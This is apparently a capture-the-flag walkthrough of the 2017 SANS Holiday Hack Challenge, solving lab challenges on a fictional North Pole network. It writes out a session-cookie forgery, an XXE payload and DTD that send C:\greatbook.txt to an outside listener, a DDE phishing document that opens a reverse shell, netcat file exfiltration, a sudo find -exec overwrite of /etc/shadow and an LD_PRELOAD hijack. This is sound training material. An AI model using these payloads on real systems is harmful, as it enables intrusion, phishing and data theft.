80/tcp open http nginx 1.10.3 (Ubuntu)
143/tcp open imap Dovecot imapd
2525/tcp open smtp Postfix smtpd
3000/tcp open http Node.js Express framework
Service Info: Host: mail.northpolechristmastown.com; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Okay, now we need to establish a connection to the EWA server. To do so, we will port forward TCP/8050 from our localhost to TCP/80 on the EWA server, and then configure our Web Browser Proxy to listen to 8050 on our localhost.
We can configure the SSH Port Forwarding with the following command:
root@kali:~/HH# ssh -L 8050:10.142.0.5:80 alabaster_snowball@35.190.140.65
alabaster_snowball@35.190.140.65's password:
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.anntDS9kgZfLYSCN2iFa2GML$
And then let’s configure the proxy…
Once that’s done, we can navigate to 10.142.0.5 in our browser and we will be presented with the following login page for the EWA Server.
If we actually take a look at the hints provided by Pepper Minstix, we learn that Alabaster created his own Encryption Scheme for the Session Cookies, and also get a hint about editing cookies as well.
First of all, let’s use Cookie Manager+ in FireFox to view out EWA cookie.
After reading those hints and seeing the cookie, we come to understand that our ultimate goal is to get the plaintext to equal the ciphertext.
The process used is the following: 1) A secret key is used with AES256 and the first 16 bytes are the initialization vector. 2) The output is base64 encoded, and then stripped of any padding.
By using 16 null bytes, the plaintext is encrypted as the key itself plus the AES256 encryption, because anything XORed with 0 is itself. This result is then base64 encoded and stripped of the =s (padding).
So how are 16 null bytes represented? As 32 0s, because a null byte is 0x00.
So the command echo 00000(whatever to 32)00 | xxd -r -p
converts the hex representation of 16 null bytes into ASCII null bytes.
The base64 encoding of the null bytes gives us a string of As with the padding to make it fit into the 4 byte block
So to accomplish this, we simply add Alabaster’s Email as his name, leave the plaintext blank, and include 22 “A”’s as the Ciphertext.
This should initially give us a valid cookie and allow us to bypass the login and access’s Alaster’s email. So let’s submit the cookie, and refresh the page.
Awesome, it worked! We got access to Alabasters Email Account!
Digging through the email we come across a few emails that might help us in the future - including one about a Ginger Bread Recipe, and one about a DDE Attack Vector.
At the same time, we learn that Alabaster loves PowerShell, but also has netcat installed… hmmm.
Toward the end of the page, we see an email with a link to the 4th page of the Great Book.
Accessing that link allows us to read the 4th Page.
Upon accessing the CranPI Terminal, we are presented with the following:
._ _.
(_) (_) <> \ / <>
.\::/. \_\/ \/_/
.:. _.=._\\//_.=._ \\//
.. \o/ .. '=' //\\ '=' _<>_\_\<>/_/_<>_
:o| | |o: '/::\' <> / /<>\ \ <>
~ '. ' .' ~ (_) (_) _ _ _ //\\ _
>O< ' ' /_/ \_\ / /\ /\ \
_ .' . '. _ \\// <> / \ <>
:o| | |o: /\_\\><//_/\
'' /o\ '' '.| |.' \/ //><\\ \/
':' . ~~\ /~~ . _//\\_
jgs _\_._\/_._/_ \_\ /_/
/ ' /\ ' \ \o/
o ' __/ \__ ' _o/.:|:.\o_
o : o ' .'| |'. .\:|:/.
'.\'/.' . -=>>::>o<::<<=-
:->@<-: : _ '/:|:\' _
.'/.\'. '.___/*\___.' o\':|:'/o
o : o \* \ / */ /o\
o >--X--<
/*_/ \_*\
.' \*/ '.
:
'
Minty Candycane here, I need your help straight away.
We're having an argument about browser popularity stray.
Use the supplied log file from our server in the North Pole.
Identifying the least-popular browser is your noteworthy goal.
total 28704
-rw-r--r-- 1 root root 24191488 Dec 4 17:11 access.log
-rwxr-xr-x 1 root root 5197336 Dec 11 17:31 runtoanswer
elf@3ed4c4e99ab2:~$
Alright, so for this challenge it seems that we need to parse the access logs and identify the “least-popular” browser.
Let’s start off by seeing how access.log is structured by printing the first few lines of the file by using the head command.
elf@3ed4c4e99ab2:~$ head -n 10 access.log
XX.YY.66.201 - - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
XX.YY.66.201 - - [19/Nov/2017:06:50:30 -0500] "GET /robots.txt HTTP/1.1" 404 5 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
XX.YY.89.151 - - [19/Nov/2017:07:13:03 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"
XX.YY.66.201 - - [19/Nov/2017:07:22:12 -0500] "GET / HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; DotBot/1.1; http://www.opensiteexplorer.org/dotbot, help@moz.com)"
XX.YY.45.77 - - [19/Nov/2017:07:43:08 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"
XX.YY.201.12 - - [19/Nov/2017:08:21:10 -0500] "GET /manager/html HTTP/1.1" 301 185 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
XX.YY.218.124 - - [19/Nov/2017:08:22:09 -0500] "GET /img/common/favicon-128.png HTTP/1.1" 304 0 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0"
XX.YY.68.152 - - [19/Nov/2017:08:43:27 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "Slack-ImgProxy (+https://api.slack.com/robots)"
XX.YY.236.170 - - [19/Nov/2017:08:48:39 -0500] "GET /img/common/apple-touch-icon-57x57.png HTTP/1.1" 200 3677 "-" "slack/2.47.0.7352 (motorola Moto G (4); Android 7.0)"
XX.YY.11.135 - - [19/Nov/2017:08:56:32 -0500] "GET / HTTP/1.1" 304 0 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0"
Okay, so each line in the log contains a User Agent for each GET request. After some time spent Googling, I came across a question in Stack Exchange on how to get a list of user-agents from nginx logs.
After reading the answer, I utilize the provided command against access.log to see if we indeed will have a list of user agents.
elf@3ed4c4e99ab2:~$ awk -F '"' '/GET/ {print $6}' access.log | cut -d ' ' -f1 | sort | uniq -c | sort -rn
96551 Mozilla/5.0
422 Slack-ImgProxy
353 Mozilla/4.0
76 -
34 Googlebot-Image/1.0
25 ZmEu
16 slack/2.47.1.7358
13 slack/2.47.0.7352
12 sysscan/1.0
11 facebookexternalhit/1.1
11 Wget(linux)
8 ltx71
8 Slack/370354
7 Slack/370342
4 slack/2.46.0.7100
4 Python-urllib/2.7
3 null
3 Slack/370136
3 Mozilla/5.0(WindowsNT6.1;rv:31.0)Gecko/20100101Firefox/31.0
3 MobileSafari/604.1
3 GarlikCrawler/1.2
2 masscan/1.0
2 WhatWeb/0.4.9
2 WhatWeb/0.4.8-dev
2 Twitterbot/1.0
2 Twitter/7.11.1
2 Telesphoreo
2 Slackbot-LinkExpanding
2 Slack/370007
2 (KHTML,
1 www.probethenet.com
1 curl/7.35.0
1 curl/7.19.7
1 Dillo/3.0.5
Alright - it works! It seems that “1 Dillo/3.0.5” is the least used browser, so from here let’s utilize the “runtoanswer” binary and provide our answer.
elf@3ed4c4e99ab2:~$ ./runtoanswer
Starting up, please wait......
Enter the name of the least popular browser in the web log: Dillo/3.0.5
That is the least common browser in the web log! Congratulations!
Once that’s completed, you will receive a new tool that will help you navigate your snowball to the end of the level.
At the same time, the new tools will help you get the 5th page of the Great Book which can be found in the level.
Upon accessing https://nppd.northpolechristmastown.com/ we are presented with the following website.
From the looks of it, we can see Reports of Elf’s who committed crimes along with their name and crime committed.
At the same time, it seems that we can search through the reports either by keywords or date. So to help us answer our questions, I opted to search for everything in the database before the date of 2017-12-30.
Once we get the results, upon scrolling down we see that we can download a JSON file containing all the results.
Upon downloading the file, we can see that we have a query of all the results from the NPPD Database.
Now, if you remember back to when we downloaded the files from the SMB Server, we had a file called “BOLO: Munchkin Mole Advisory”
BOLO: Munchkin Mole Advisory
Please be advised that the long-rumored munchkin moles are now believed to be real. After a detailed and thorough investigation, North Pole Authorities have identified two munchkins impersonating elves in Santa's workshop.
When confronted, both munchkins were able to evade elf authorities after throwing rocks and engaging in aggravated hair pulling. The pair mysteriously disappeared after speaking an unknown word sounding like "puuurzgexgull."
Munchkin Descriptions
Name: Boq Questrian
Height: Approximately 4 feet
Weight: Unknown
Appearance: Reddish skin tone, blue eyes. A single curl of hair dominates an otherwise unremarkable hairstyle.
Warning: Boq is uncannily accurate at short-distance rock throwing.
Name: Bini Aru
Height: Approximately 4 feet
Weight: Unknown
Appearance: Pale skin, grey eyes. Unruly black hair.
Warning: Bini is unrelenting in hair pulling.
If you see these munchkin moles, do not attempt to detain or apprehend them. Contact the North Pole Police Department for assistance.
For more information visit https://nppd.northpolechristmastown.com.
Merry Christmas!
We also had a file titled the “Naughty and Nice List.csv” which had a list of names and if they were “Naughty” or “Nice”.
root@kali:~/HH# head Naughty\ and\ Nice\ List.csv
Abdullah Lindsey,Nice
Abigail Chavez,Nice
Aditya Perera,Naughty
Adrian Kemp,Nice
Adrian Lo,Nice
Adriana Sutherland,Nice
Agnes Adam,Nice
Ahmed Hernandez,Nice
Al Molina,Nice
Alabaster Snowball,Nice
Looking at the reports we see the Moles committed 3 crimes, Throwing Rocks and Hair Pulling. At the same time we see that there are two types of rock throwing - at people, and at non-person targets.
To be able to answer our question and find the 6 moles, I created a python script.
#!/usr/bin/python
import csv
import json
from operator import itemgetter
from collections import defaultdict
MOLE_INFR = set(['Aggravated pulling of hair', 'Throwing rocks (at people)', 'Throwing rocks (non-person target)'])
def get_naughty():
with open("Naughty and Nice List.csv") as f:
reader = csv.reader(f)
rows = list(reader)
return [name for (name, naughty) in rows if naughty == 'Naughty']
def main():
infractions_dict = defaultdict(set)
infractions_by_name = defaultdict(int)
with open("infractions.json") as f:
infractions_json = json.load(f)
for i in infractions_json['infractions']:
infractions_dict[i['name'].encode("utf-8")].add(i['title'].encode("utf-8"))
infractions_by_name[i['name'].encode("utf-8")] += 1
print "Insider Threat Moles:"
for n, titles in infractions_dict.iteritems():
if len(titles & MOLE_INFR) >= 2:
print(n, ', '.join(titles))
minimal_infractions = min(infractions_by_name[name] for name in get_naughty())
print
print "Infractions needed to be marked as Naughty: %s" % minimal_infractions
if __name__ == "__main__":
main()
Running the code, we get the following:
root@kali:~/HH# python infractions_search.py
Insider Threat Moles:
('Nina Fitzgerald', 'Possession of unlicensed slingshot, Throwing rocks (at people), Bedtime violation, Giving super atomic wedgies, Aggravated pulling of hair')
('Beverly Khalil', 'Possession of unlicensed slingshot, General sassing, Playing with matches, Aggravated pulling of hair, Throwing rocks (at people)')
('Christy Srivastava', 'Tantrum in a private facility, Tantrum in public, Throwing rocks (non-person target), Aggravated pulling of hair')
('Kirsty Evans', 'Throwing rocks (at people), Giving super atomic wedgies, Aggravated pulling of hair, Crayon on walls')
('Isabel Mehta', 'Tantrum in a private facility, Throwing rocks (non-person target), Aggravated pulling of hair')
('Sheri Lewis', 'Possession of unlicensed slingshot, Throwing rocks (at people), Naughty words, Aggravated pulling of hair')
Infractions needed to be marked as Naughty: 4
Upon accessing the CranPI Terminal, we are presented with the following:
*
.~'
O'~..
~'O'~..
~'O'~..~'
O'~..~'O'~.
.~'O'~..~'O'~
..~'O'~..~'O'~.
.~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..
~'O'~..~'O'~..~'O'~..
~'O'~..~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..~'O'~.
.~'O'~..~'O'~..~'O'~..~'O'~
..~'O'~..~'O'~..~'O'~..~'O'~.
.~'O'~..~'O'~..~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..~'O'~..~'O'~..
~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..
~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.
.~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~
..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~.
.~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'
O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..~'O'~..
Sugarplum Mary is in a tizzy, we hope you can assist.
Christmas songs abound, with many likes in our midst.
The database is populated, ready for you to address.
Identify the song whose popularity is the best.
total 20684
-rw-r--r-- 1 root root 15982592 Nov 29 19:28 christmassongs.db
-rwxr-xr-x 1 root root 5197352 Dec 7 15:10 runtoanswer
elf@3f31d4a83638:~$
So it seems that we need to find the most popular Christmas song from a SQL Database. If we take a look at Mary’s Twitter we see a tweet asking for help with a GROUP BY statement.
Further down we also see a comment that points to an awesome post from SANS – Your Pokemon Guide for Essential SQL Pen Test Commands.
After reading the post we learn some basic SQL commands that we can utilize in sqlite3. So, with that new knowledge in hand, let’s open up the christmassongs.db file with sqlite3, and run the .schema;
command to see the tables, and what items are contained in each table.
elf@3f31d4a83638:~$ sqlite3 christmassongs.db
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .schema
CREATE TABLE songs(
id INTEGER PRIMARY KEY AUTOINCREMENT,
title TEXT,
artist TEXT,
year TEXT,
notes TEXT
);
CREATE TABLE likes(
id INTEGER PRIMARY KEY AUTOINCREMENT,
like INTEGER,
datetime INTEGER,
songid INTEGER,
FOREIGN KEY(songid) REFERENCES songs(id)
);
Awesome, so we now know what kind of data is contained in each table, along with the name of the columns in the tables.
Let’s go ahead and select the first 5 rows of data from the Songs table to see how the information looks like. We can do so by running the following command:
sqlite> SELECT * FROM SONGS
...> LIMIT 5;
1|A' Soalin'|Peter, Paul & Mary|1963|From the album Moving. Written by Paul Stookey, Tracy Batteste & Elaina Mezzetti. Contains an element of "God Rest Ye Merry, Gentlemen".
2|Adeste Fideles (O Come, All Ye Faithful)|Associated Glee Clubs of America|1925|Peaked at No. 5 on the pop singles chart in 1925. This historic record was the first electrically recorded disc to create a popular imp
act, and featured the largest choir popular music has ever known: some 4,800 voices (according to Columbia Records). Bing Crosby also charted with a version of the traditional hymn, which peaked at No. 45 on the Bill
board Hot 100 singles chart in December 1960. Over 150 versions of this standard have appeared in Christmas LPs since 1946.
3|All Alone on Christmas|Darlene Love|1992|Peaked at No. 83 on the Billboard Hot 100 singles chart in January 1993. From the 1992 film Home Alone 2: Lost in New York.
4|All I Really Want for Christmas|Steven Curtis Chapman|2005|Peaked at No. 2 on the Billboard Christian Songs chart in January 2006.
5|All I Want for Christmas Is a Real Good Tan|Kenny Chesney|2003|Peaked at No. 30 on Billboard's Hot Country Singles & Tracks chart in December 2003.
Okay, so it seems we got the ID, Title, Artist, etc. just as it was displayed in the schema. Let’s also get the first 5 rows of data from the Likes table to see how that looks like.
sqlite> SELECT * FROM LIKES
...> LIMIT 5;
1|1|1487102189|250
2|1|1504354018|119
3|1|1510169870|283
4|1|1483240748|82
5|1|1497771899|238
So we have the table ID, a like, date and time, and a song id which is configured as a FOREIGN KEY to the ID in the Songs table. Simply a FOREIGN KEY is a key used to link two tables together
So for us to be able to get the data we need, what we will have to do is select the Song Title, the total sum or “count” of the Song ID from the Likes Table, and then we will need to join that data with our KEYS so that they match the SONG ID in the Likes table to the SONG ID in the Songs table.
This way we can pull other data from the Songs table such as the Song Title. After that we will sort the data in DESCENDING to get the most popular first, and limit that to only 10 results.
We can do that with the following SQL Query:
sqlite> SELECT sg.title, count(lk.songid) FROM likes lk
...> LEFT JOIN songs sg on sg.id=lk.songid
...> GROUP BY sg.title
...> ORDER BY 2 DESC
...> LIMIT 10;
Stairway to Heaven|11325
|3957
Joy to the World|2162
The Little Boy that Santa Claus Forgot|2140
I Farted on Santa's Lap (Now Christmas Is Gonna Stink for Me)|2132
Christmas Memories|2129
Christmas Is Now Drawing Near at Hand|2126
Blue Holiday|2122
Cold December Night|2120
A Baby Changes Everything|2117
At this point we see that “Stairway to Heaven” is the #1 song. Let’s run the runtoanswer binary and see if we are right.
elf@3f31d4a83638:~$ ./runtoanswer
Starting up, please wait......
Enter the name of the song with the most likes: Stairway to Heaven
That is the #1 Christmas song, congratulations!
Awesome, we are right! Once you complete this terminal challenge, you will unlock a new tool that will help you in redirecting the snowball in the levels. After you redirect the snowball for this level, you will unlock more hints for the next challenges.
For this challenge we know that the North Pole engineering team has introduced an Elf as a Service (EaaS) platform to optimize resource allocation for mission-critical Christmas engineering projects at http://eaas.northpolechristmastown.com.
What we need to do is hack the system and retrieve instructions for accessing The Great Book page which can be found at C:\greatbook.txt.
So first of all, we need to identify where the EaaS system is located. Looking back at our previous Nmap scan, we can see that it’s located at 10.142.0.13.
Nmap scan report for eaas.northpolechristmastown.com (10.142.0.13)
Host is up (0.0041s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
3389/tcp open ssl/ms-wbt-server?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Once again we see that TPC/80 is open, so let’s use SSH again to forward our local TCP/8050 port to TCP/80 of the EaaS System.
root@kali:~/HH# ssh -L 8050:10.142.0.13:80 alabaster_snowball@35.190.140.65
alabaster_snowball@35.190.140.65's password:
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.FCginkV6JiLIj2o9JJ8u8tsN$
Once that’s been completed, we can navigate to localhost:8050 and we will be able to see the main page for the EAAS System.
Upon inspecting the page, we notice that we are able to check current orders via the EC2 link.
Upon accessing that page we are redirected to the DisplayXML page, and it seems that we are able to upload a file… and judging by the title of it, we can probably upload an XML file.
I know that SANS wrote a very good post about Exploiting XXE Vulnerabilities in IIS/.NET.
After reading the post, let’s do something similar… but we will use our Amazon EC2 Instance to carry out the attack and grab the Contents of C:\greatbook.txt.
First of all, let’s create the evil XML file that we will use to upload.
root@kali:~/HH# gedit evil.xml
root@kali:~/HH# cat evil.xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE demo [
<!ELEMENT demo ANY >
<!ENTITY % extentity SYSTEM "http://18.218.75.54:8000/evil.dtd">
%extentity;
%inception;
%sendit;
]
<
Simply, this file will download and run the commands from the evil.dtd file that will be hosted on our public EC2 instance.
But, before we upload this file – we need to create the evil.dtd file that will get the contents of C:\greatbook.txt and will send it to a netcat listener on our EC2 instance.
The DTD file should look similar to the one below.
ubuntu@ip-172-31-24-12:~$ nano evil.dtd
ubuntu@ip-172-31-24-12:~$ cat evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
<!ENTITY % inception "<!ENTITY % sendit SYSTEM 'http://18.218.75.54:4444/?%stolendata;'>">
Now that we have that ready, let’s set up a SimpleHTTPServer via python, and a netcat listener on TCP/4444.
ubuntu@ip-172-31-24-12:~$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
ubuntu@ip-172-31-24-12:~$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
After that’s all said and done, we can upload the XML file.
I also capture the request via Burp just to make sure there were no errors or changes when uploading.
You know that the file uploaded successfully when you are presented with and empty page such as the one below.
Also, if you look at your SimpleHTTPServer, you will see that a successful GET request was made for you DTD file.
ubuntu@ip-172-31-24-12:~$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
35.185.118.225 - - [29/Dec/2017 16:17:53] "GET /evil.dtd HTTP/1.1" 200 -
And following that, we should also see the contents of C:\greatbook.txt in the URL parameter of our Netcat listener.
ubuntu@ip-172-31-24-12:~$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [35.185.118.225] port 4444 [tcp/*] accepted (family 2, sport 49877)
GET /?http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf HTTP/1.1
Host: 18.218.75.54:4444
Connection: Keep-Alive
From here, all we need to do is navigate to http://eaas.northpolechristmastown.com/xMk7H1NypzAqYoKw/greatbook6.pdf and we will be able to see the 6th page of the Great Book.
Upon accessing the CranPI Challenge we are presented with the following:
\ /
-->*<--
/o\
/_\_\
/_/_0_\
/_o_\_\_\
/_/_/_/_/o\
/@\_\_\@\_\_\
/_/_/O/_/_/_/_\
/_\_\_\_\_\o\_\_\
/_/0/_/_/_0_/_/@/_\
/_\_\_\_\_\_\_\_\_\_\
/_/o/_/_/@/_/_/o/_/0/_\
jgs [___]
My name is Shinny Upatree, and I've made a big mistake.
I fear it's worse than the time I served everyone bad hake.
I've deleted an important file, which suppressed my server access.
I can offer you a gift, if you can fix my ill-fated redress.
Restore /etc/shadow with the contents of /etc/shadow.bak, then run "inspect_da_b
ox" to complete this challenge.
Hint: What commands can you run with sudo?
elf@24f154ad424a:~$
Alright, so this seems like an easy task - all we have to do is recover the shadow.bak file to restore the /etc/shadow file.
There’s actually a good post on Stack Exchange that explained how to restore /etc/shadow with the contents of /etc/shadow.bak.
After reading the post, we will run the sudo -l
command to list the sudo permissions for our account.
elf@24f154ad424a:~$ sudo -l
Matching Defaults entries for elf on 24f154ad424a:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User elf may run the following commands on 24f154ad424a:
(elf : shadow) NOPASSWD: /usr/bin/find
Awesome, so it seems our account has the permissions to run commands with the “shadow” group permissions!
So from here, we can simply run the sudo -g shadow
command followed by any other commands, and they will execute with the shadow group permissions. Simply, just follow along with the previous post to recover the shadow file.
elf@24f154ad424a:~$ sudo -g shadow find /etc/shadow.bak -exec cp {} /etc/shadow \;
elf@24f154ad424a:~$ inspect_da_box
___
/ __'. .-"""-.
.-""-| | '.'. / .---. \
/ .--. \ \___\ \/ /____| |
/ / \ `-.-;-(`_)_____.-'._
; ; `.-" "-:_,(o:==..`-. '. .-"-,
| | / \ / `\ `. \ / .-. \
\ \ | Y __...\ \ \ / / \/
/\ | | | .--""--.| .-' \ '.`---' /
\ \ / / |` \' _...--.; '---'`
\ '-' / jgs /_..---.._ \ .'\\_ `.
`--'` .' (_) `'/ (_) /
`._ _.'| .'
``````` '-...--'`
/etc/shadow has been successfully restored!
Once that’s completed and after you get the snowball to the end, you will unlock more hints that will help you in the next challenge.
For this challenge we know that the North Pole uses Elf-Machine Interfaces (EMI) to monitor and control critical infrastructure assets. These systems serve many uses, including email access and web browsing.
We are tasked with gaining access to the EMI server through the use of a phishing attack with our access to the EWA server. Once access is gained, we can retrieve The Great Book page from C:\GreatBookPage7.pdf.
If you remember correctly, in our previous challenge, once we gained access to the EWA Server, we spotted an email concerned about the recent DDE Attacks.
At the same time, we previously found emails from Alabaster to Mrs. Claus asking for her Cookies Recipe.
Taking that into account, we can go ahead and attempt a DDE Attack against Alabaster to gain a reverse shell on his system.
There is a very good post on creating DDE Macros, which can be found here: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
Once we read the post, we can create a new DDE that will execute a Netcat connection back to our AWS Instance on TCP/4444.
Once that’s completed, we can save the file as “GingerBread Recpipe” or something along those lines.
Before we precede, let’s spawn a netcat listener on our AWS EC2 Instance.
ubuntu@ip-172-31-24-12:~$ nc -nvlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Afterwards, we can return back to the EWA Server and utilize our newly found cookie exploit to access the “Jessica Claus” account, which will be used in our phishing attack against Alabaster.
Once done, we should have access to Mrs. Claus’s email account.
From there, let’s go ahead and create a new email with the subject “Gingerbread Cookie Recipe”, attach our Word Document that contains the DDE Attack, and send it off to Alabaster.
Once the email is sent, a few moments later we see that we got a successful Reverse CMD Shell.
At this point, we can navigate to the C:\ directory and we will spot Page 7 of the Great Book.
From here, we can simply use netcat to download the file to our AWS EC2 Instance.
ubuntu@ip-172-31-24-12:~$ nc -l -p 1234 > GreatBookPage7.pdf
C:\>nc -w 3 18.218.75.54 1234 < GreatBookPage7.pdf
Once completed, we can read Page 7 of the Great Book.
Upon accessing the CranPI Challenge, we are presented with the following:
.--._.--.--.__.--.--.__.--.--.__.--.--._.--.
_(_ _Y_ _Y_ _Y_ _Y_ _)_
[___] [___] [___] [___] [___] [___]
/:' \ /:' \ /:' \ /:' \ /:' \ /:' \
|:: | |:: | |:: | |:: | |:: | |:: |
\::. / \::. / \::. / \::. / \::. / \::. /
jgs \::./ \::./ \::./ \::./ \::./ \::./
'=' '=' '=' '=' '=' '='
Wunorse Openslae has a special challenge for you.
Run the given binary, make it return 42.
Use the partial source for hints, it is just a clue.
You will need to write your own code, but only a line or two.
total 88
-rwxr-xr-x 1 root root 84824 Dec 16 16:47 isit42
-rw-r--r-- 1 root root 654 Dec 15 19:59 isit42.c.un
elf@8b890dbcfb98:~$
Interesting, so it seems that we need to write some exploit code to make the isit42 binary return 42. Let’s read the code to see what we have to work with.
elf@8b890dbcfb98:~$ cat isit42.c.un
#include <stdio.h>
// DATA CORRUPTION ERROR
// MUCH OF THIS CODE HAS BEEN LOST
// FORTUNATELY, YOU DON'T NEED IT FOR THIS CHALLENGE
// MAKE THE isit42 BINARY RETURN 42
// YOU'LL NEED TO WRITE A SEPERATE C SOURCE TO WIN EVERY TIME
int getrand() {
srand((unsigned int)time(NULL));
printf("Calling rand() to select a random number.\n");
// The prototype for rand is: int rand(void);
return rand() % 4096; // returns a pseudo-random integer between 0 and 4096
}
int main() {
sleep(3);
int randnum = getrand();
if (randnum == 42) {
printf("Yay!\n");
} else {
printf("Boo!\n");
}
return randnum;
}
Looking at the code, it seems that the getrand() function is ran, and if it equals 42 then we win, otherwise we lose.
There was an interesting post on SANS about using ld_preload for hijacking and executing command in applications.
What we can do, is create our own rand() function that when called will print “Hacked” and return 42. This way we have a visual representation when the code is executed.
elf@8b890dbcfb98:~$ nano hack.c
elf@8b890dbcfb98:~$ cat hack.c
#include <stdio.h>
int rand() {
printf("Hacked!\n");
return 42;
}
Once we have that, let’s go ahead and use LD_PRELOAD to load our new rand() function in with the binary application, and then execute it.
elf@8b890dbcfb98:~$ LD_PRELOAD="$PWD/hack_rand" ./isit42
Starting up ... done.
Calling rand() to select a random number.
Hacked!
.-.
.;;\ || _______ __ __ _______ _______ __ _ _______ _ _ _______ ______
/::::\|/ | || | | || | | _ || | | || || | _ | || || _ |
/::::'(); |_ _|| |_| || ___| | |_| || |_| || _____|| || || || ___|| | ||
|\/`\:_/`\/| | | | || |___ | || || |_____ | || |___ | |_||_
,__ |0_..().._0| __, | | | || ___| | || _ ||_____ || || ___|| __ |
\,`////""""\\\\`,/ | | | _ || |___ | _ || | | | _____| || _ || |___ | | | |
| )//_ o o _\\( | |___| |__| |__||_______| |__| |__||_| |__||_______||__| |__||_______||___| |_|
\/|(_) () (_)|\/
\ '()' / ______ _______ _______ ___ ___ __ __ ___ _______
_:.______.;_ | _ | | || _ || | | | | | | | | | | |
/| | /`\/`\ | |\ | | || | ___|| |_| || | | | | |_| | | | | _____|
/ | | \_/\_/ | | \ | |_||_ | |___ | || | | | | | | | | |_____
/ |o`""""""""`o| \ | __ || ___|| || |___ | |___ |_ _| | | |_____ |
`.__/ () \__.' | | | || |___ | _ || || | | | | | _____| |
| | ___ ___ | | |___| |_||_______||__| |__||_______||_______| |___| |___| |_______|
/ \|---| |---|/ \
| (|42 | () | DA|) | _ ___ _______
\ /;---' '---;\ / | | | || |
`` \ ___ /\ ___ / `` | |_| ||____ |
`| | | |` | | ____| |
jgs | | | | |___ || ______| ___
_._ |\|\/||\/|/| _._ | || |_____ | |
/ .-\ |~~~~||~~~~| /-. \ |___||_______||___|
| \__.' || '.__/ |
`---------''---------`
Congratulations! You've won, and have successfully completed this challenge.
For this challenge we have to fetch the letter to Santa from the North Pole Elf Database at http://edb.northpolechristmastown.com.
So as previously, we have to figure out where the EDB Server is located. Taking a look at our previous Nmap scan we see that the server is located at 10.142.0.6.
Host is up (0.00015s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
80/tcp open http nginx 1.10.3
389/tcp open ldap
8080/tcp open http Werkzeug httpd 0.12.2 (Python 2.7.13)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port389-TCP:V=7.40%I=7%D=12/28%Time=5A457237%P=x86_64-pc-linux-gnu%r(LD
SF:APSearchReq,83,"0s\x02\x01\x07dn\x04\x000j0\x1b\x04\x14supportedLDAPVer
SF:sion1\x03\x04\x0130\x1a\x04\x0enamingContexts1\x08\x04\x06dc=com0/\x04\
SF:x12supportedExtension1\x19\x04\x171\.3\.6\.1\.4\.1\.4203\.1\.11\.10\x0c
SF:\x02\x01\x07e\x07\n\x01\0\x04\0\x04\0")%r(LDAPBindReq,25,"0#\x02\x01\x0
SF:1a\x1e\n\x01\x02\x04\0\x04\x17Version\x202\x20not\x20supported");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We can see that TCP/80 is open and running a web server, so let’s go ahead and use SSH to forward our local TCP/8050 port to TCP/80 on 10.142.0.6.
root@kali:~/HH# ssh -L 8050:10.142.0.6:80 alabaster_snowball@35.190.140.65
alabaster_snowball@35.190.140.65's password:
alabaster_snowball@hhc17-apache-struts2:/tmp/asnow.LShdupYgziOuBj2fnInGRJXt$
And as previously, let’s also make sure that our web proxy is set to listen on TCP/8050.
At this time, we can navigate to 10.142.0.6 and we will be presented with the following Login Page for the EDB.
A quick look into the robots.txt file shows us that there is a /dev directory.
Navigating to /dev/ reveales a link to a LDIF Template page.
Inside that text file we are presented with what looks to be an LDAP Template for the EDB Server. This could be helpful for us in the future or for the login page as LDAP is open and running on TCP/389.
If you actually took the time to read some of the hints provided to us by Wunorse, then you would see some specific information about a XSS Attack that Wunorse got via some weird email, and that JWT Tokens are being used.
I’m going to assume that since we are on the EDB Server - we will be able to execute some sort of XSS Attack via the Support Function on the page.
But before we do that, let’s dig into the source code of the page to see if we can’t get some hints on how the login page functions.
